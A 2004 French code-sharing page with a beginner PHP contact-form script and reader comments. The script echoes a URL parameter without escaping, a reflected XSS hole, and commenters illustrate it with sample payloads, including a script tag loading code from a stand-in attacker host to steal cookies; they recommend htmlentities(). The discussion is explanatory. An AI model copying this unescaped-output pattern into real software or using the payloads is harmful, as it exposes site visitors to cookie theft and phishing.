begin process at 2008 07 21 00:40:38
1 213 530 membres
431 nouveaux aujourd'hui
14 167 membres club

Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum.
Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

FORMULAIRE ENVOI PAR MAIL AVEC MESSAGE D'ERREUR


Information sur la source

Catégorie :E-Mail / Messagerie Classé sous : email, emailhtml Niveau : Débutant Date de création : 22/07/2004 Date de mise à jour : 27/03/2006 23:05:37 Vu / téléchargé: 13 127 / 2 020

Note :
7 / 10 - par 2 personnes
7,00 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10

Commentaire sur cette source (13)
Ajouter un commentaire et/ou une note

Description

Ce code vous sert à recevoir vos mail par la fonction mail de php.
C'est-à-dire que vos contact écrive remplit un formulaire et vous le recevez directement par mail dans votre boîte. Mais j'ai ajouter une chose qui vous permet de pas recevoir de mail sans rien dessus. Pour le reste je vous laisse tester .....

Source

  • Crée un fichier "formulaire.php"
  • le code du formulaire est le suivants ( a insérer entre les balise <body> </body>:
  • <div align="center">
  • <h1><font face="Verdana, Arial, Helvetica, sans-serif">Contactez-moi</font></h1>
  • </div>
  • <form action="result.php" method="post" name="form" id="form">
  • <table width="400" border="0" align="center" cellpadding="0" cellspacing="0">
  • <tr>
  • <td colspan="2">
  • <?
  • if ($ERRMSG!=""):
  • echo("<font color='Red'><B><I>$ERRMSG</I></B></font><BR><BR>\n");
  • endif;
  • ?>
  • </td>
  • </tr>
  • <tr>
  • <td> </td>
  • <td> </td>
  • </tr>
  • <tr>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Nom :</font></td>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">
  • <input name="Nom" type="text" id="Nom" size="25">
  • </font></td>
  • </tr>
  • <tr>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Prénom
  • :</font></td>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">
  • <input name="Prenom" type="text" id="Prenom" size="25">
  • </font></td>
  • </tr>
  • <tr>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Adresse
  • email :</font></td>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">
  • <input name="Email" type="text" id="Email" size="25">
  • </font></td>
  • </tr>
  • <tr>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
  • </tr>
  • <tr>
  • <td valign="top"><font size="2" face="Verdana, Arial, Helvetica, sans-serif">
  • Commentaire :</font></td>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">
  • <textarea name="Commentaire" id="Commentaire"></textarea>
  • </font></td>
  • </tr>
  • <tr>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
  • </tr>
  • <tr>
  • <td><div align="right"> <font size="2" face="Verdana, Arial, Helvetica, sans-serif">
  • <input type="reset" name="Submit2" value="Effacer">
  • </font></div></td>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">
  • <input type="submit" name="Submit" value="Envoyer">
  • </font></td>
  • </tr>
  • <tr>
  • <td> </td>
  • <td> </td>
  • </tr>
  • </table>
  • </form>
  • Crée un fichier "result.php"
  • <?
  • // on verifie deja les champs...
  • $ERRMSG="";
  • if ($Nom==""):
  • $ERRMSG.="<LI>Votre nom\n";
  • endif;
  • if ($Email==""):
  • $ERRMSG.="<LI>Votre email\n";
  • endif;
  • // Champs à modifier selon les besoin
  • if ($ERRMSG!=""):
  • $ERRMSG="Vous devez indiquer...".$ERRMSG;
  • $ERRMSG=urlencode($ERRMSG);
  • $Nom=urlencode($Nom);
  • $Email=urlencode($Email);
  • Header("Location: formulaire.php?ERRMSG=$ERRMSG&Nom=$Nom&Email=$Email");
  • exit;
  • endif;
  • // donc on peut envoyer l email
  • if ($EMAIL==""):
  • endif;
  • $mail = $mail."DEMANDE D'INFORMATION Photoagogo\n\n\nStatue : ";
  • $mail = $mail."\nNom : " . $Nom;
  • $mail=$mail."\nPrénom : " . $Prenom;
  • $mail=$mail."\nEmail: " . $Email;
  • $mail=$mail."\nCommentaire : " . $Commentaire;
  • // Sujet du mail et adresse de déstination
  • $recipient = "email@nomdomaine.com";
  • $subject = "Demande d'information Photoagogo";
  • // Sujet du mail
  • $mailheaders = "From: Demande d'information venant de photoagogo.fr.St <> \n";
  • mail($recipient, $subject, $mail, $mailheaders);
  • // Remerciement
  • $ERRMSG="Nous avons bien pris en compte votre demande.<BR>A très bientôt !";
  • $ERRMSG=urlencode($ERRMSG);
  • Header("Location: formulaire.php?ERRMSG=$ERRMSG");
  • ?>
Crée un fichier "formulaire.php"

le code du formulaire est le suivants ( a insérer entre les balise <body> </body>:


<div align="center">
  <h1><font face="Verdana, Arial, Helvetica, sans-serif">Contactez-moi</font></h1>
</div>
<form action="result.php" method="post" name="form" id="form">
  <table width="400" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr> 
      <td colspan="2"> 
        <?
	if ($ERRMSG!=""):
		echo("<font color='Red'><B><I>$ERRMSG</I></B></font><BR><BR>\n");
	endif;
	?>
      </td>
    </tr>
    <tr> 
      <td> </td>
      <td> </td>
    </tr>
    <tr> 
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Nom :</font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input name="Nom" type="text" id="Nom" size="25">
        </font></td>
    </tr>
    <tr> 
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Prénom 
        :</font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input name="Prenom" type="text" id="Prenom" size="25">
        </font></td>
    </tr>
    <tr> 
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Adresse 
        email :</font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input name="Email" type="text" id="Email" size="25">
        </font></td>
    </tr>
    <tr> 
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
    </tr>
    <tr> 
      <td valign="top"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        Commentaire :</font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        <textarea name="Commentaire" id="Commentaire"></textarea>
        </font></td>
    </tr>
    <tr> 
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
    </tr>
    <tr> 
      <td><div align="right"> <font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
          <input type="reset" name="Submit2" value="Effacer">
          </font></div></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="submit" name="Submit" value="Envoyer">
        </font></td>
    </tr>
    <tr> 
      <td> </td>
      <td> </td>
    </tr>
  </table>
</form>


Crée un fichier "result.php"

<?
// on verifie deja les champs...
$ERRMSG="";
if ($Nom==""):
	$ERRMSG.="<LI>Votre nom\n";
endif;
if ($Email==""):
	$ERRMSG.="<LI>Votre email\n";
endif;

// Champs à modifier selon les besoin
if ($ERRMSG!=""):
	$ERRMSG="Vous devez indiquer...".$ERRMSG;
	$ERRMSG=urlencode($ERRMSG);
	$Nom=urlencode($Nom);
	$Email=urlencode($Email);
	Header("Location: formulaire.php?ERRMSG=$ERRMSG&Nom=$Nom&Email=$Email");	
	exit;
endif;

// donc on peut envoyer l email

if ($EMAIL==""):
endif;
$mail = $mail."DEMANDE D'INFORMATION Photoagogo\n\n\nStatue : ";
$mail = $mail."\nNom : " . $Nom;
$mail=$mail."\nPrénom : " . $Prenom;
$mail=$mail."\nEmail: " . $Email;
$mail=$mail."\nCommentaire : " . $Commentaire;

// Sujet du mail et adresse de déstination
$recipient = "email@nomdomaine.com";
$subject = "Demande d'information Photoagogo";

// Sujet du mail
$mailheaders = "From: Demande d'information venant de photoagogo.fr.St <> \n";
mail($recipient, $subject, $mail, $mailheaders);

// Remerciement
$ERRMSG="Nous avons bien pris en compte votre demande.<BR>A très bientôt !";
$ERRMSG=urlencode($ERRMSG);
Header("Location: formulaire.php?ERRMSG=$ERRMSG");
?>

Conclusion

A vous de jouer maintenant...
Pour les "Membres Club", vous pouvez télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip

23 juillet 2004 08:54:58 :
J'ai retirer le exit de la fin.
27 mars 2006 23:05:37 :
Correction
  • signaler à un administrateur
    Commentaire de GRenard le 22/07/2004 18:49:50

    Pas mal pour un débutant par contre, c'est pas beau utiliser des endif :P mais bon tu fais comme tu veux

    L'utilisation de ton exit à la fin de ton fichier result.php est a proscrire...
    Même si sur les sites de php ils te disent de faire ca, ce n'est pas une bonne idée...
    En plus, tu es à la fin de ton fichier, c'est completement inutile :P

  • signaler à un administrateur
    Commentaire de winwarrior le 23/07/2004 00:04:11

    Pas mal mais pas sécurisé, "formulaire.php?ERRMSG=<script>alert();</script>"
    à ta place j'utiliserai "switch()" pour filtrer les erreur
    "formulaire.php?ERRMSG=1" etc ..
    Sinon, meme avis que GRenard pour les endif et le exit

    Bonne continuation.

  • signaler à un administrateur
    Commentaire de chris81 le 23/07/2004 07:24:00

    salut,
    sympa ton code par contre je crois qu'a un moment pour la gestion des champ vide tu ecrase ta reponse au fur et a mesure.

  • signaler à un administrateur
    Commentaire de minta le 23/07/2004 16:18:46

    Ce commentaire s'adresse à GRenard, j'aimerais recevoir ton commentaire sur la source que tu trouveras à l'adresse suivante:

    <http://www.phpcs.com/code.aspx?ID=22503>

  • signaler à un administrateur
    Commentaire de Anthomicro le 23/07/2004 19:59:18

    Salut ;-)

    alternative à la gestion d'erreur via un switch : htmlentities() Comme ça les caractères html sont affichés et non interprétés par le navigateur.

    Bye

  • signaler à un administrateur
    Commentaire de gabi77 le 30/07/2004 13:04:14

    Bonjour

    Le script est un début, je vais bientot le modifier d'après tous vos commentaire cela ma aidé a approfondir mais connaissance. Donc voila et merci à tous les commentaires ci-dessus.

    Cordialement gabi77

  • signaler à un administrateur
    Commentaire de jonathan724 le 22/02/2006 17:29:54

    Bizard quand j' essaye d' accéder au fichier formulaire j' obtion le message suivant :
    Parse error: parse error, unexpected T_IF in /home/goldfree/www/formulaire.php on line 17

    si quelqu' un pourrait m' aider ! Merci

  • signaler à un administrateur
    Commentaire de Mascotte_Alex le 07/04/2007 23:18:59

    Bonsoir, malheureusement les infos ne sont pas envoyées de mon coté
    Sauriez vous pourquoi alors que j'ai bien modifier les infos concernant :
    // Sujet du mail et adresse de déstination
    $recipient = "dos-santos-alex@hotmail.fr";

    Merci d'avance Bonne soirée

  • signaler à un administrateur
    Commentaire de mickadevelop le 25/06/2007 23:36:35

    salut, ca sert à rien de mettre htmlentities() puisque si il met des balises html elle ne seront actives que pour l'utilisateur (donc que pour le mec qui les met) si il a envi d'avoir des merdes sur ca page c'est sont probleme. J'aimerais avoir votre avis sur ce sujet peut etre n'ai- je pas pensé à une faille de securité lié à du javascripte ou autre merci :)

  • signaler à un administrateur
    Commentaire de winwarrior le 26/06/2007 02:10:16

    Combiné avec du social engineering (la victime devra cliquer sur le lien),
    Un hacker pourrait mettre (par exemple) un code javascript qui lui enverrait le cookie de la victime sur ce domaine, ou ouvrirait une nouvelle fenetre avec une fausse identification ebay ou paypal (fishing) etc.. on peut presque tout faire en javascript
    Donc non, ça ne sert pas à rien =)

  • signaler à un administrateur
    Commentaire de mickadevelop le 26/06/2007 16:35:03

    Oui je suis entierement d'accord avec toi qu'il ne faut pas laisser le javascript actif!! mais ce raisonnement n'a de valeur uniquement si un internaute malveillant mes un codes javascript sur une pages que d'autres interanutes peuvent consulter (par exemple dans un forum). Pour le cas qui est exposé au dessus on va afficher les variables saisies par l'utilisateur temporairement sur la page et il n'y aura uniquement que l'internaute qui les aura saisies qui sera concerné par ces variables. En conséquence si il rentre du javascript il ne pourra uniquement que lire ces propres cookies ou ce rediriger que lui meme vers une autre page web. Les conséquences ne seront valable uniquement que pour l'internaute qui a saisie les variable. Donnez moi votre avis sur ce raisonnement?

  • signaler à un administrateur
    Commentaire de winwarrior le 26/06/2007 19:30:39

    Le hacker peut inciter une personne à cliquer sur un lien (social engineering)
    (exemple: http://sitevulnerable.com/?variablePasSecurisée=<script src="http://siteduhacker.com/scriptMalveillant.js"></script>);
    la victime en cliquant sur le lien (le hacker l'aura bien entendu camouflé) injectera dans sa propre page le code javascript du hacker

  • signaler à un administrateur
    Commentaire de mickadevelop le 26/06/2007 21:40:49

    Ok je n'avais pas pensé a ce cas de figure. Merci et donc en conclusion il faut filtrer le html(avec htmlentites)toutes les variables demandé à l'utilisateur et que l'on affiche au format html!!!!!

Ajouter un commentaire

Pub



Appels d'offres

Dessins techniques
Budget : 60€
Animation Flash - Doma...
Budget : 370€
Application flash medi...
Budget : 1 000€

CalendriCode

Juillet 2008
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

VS Express FR Gratuit !

VS Express en français et 100% gratuit !

Téléchargements

Logiciels à télécharger sur le même thème :

Boutique

Boutique de goodies CodeS-SourceS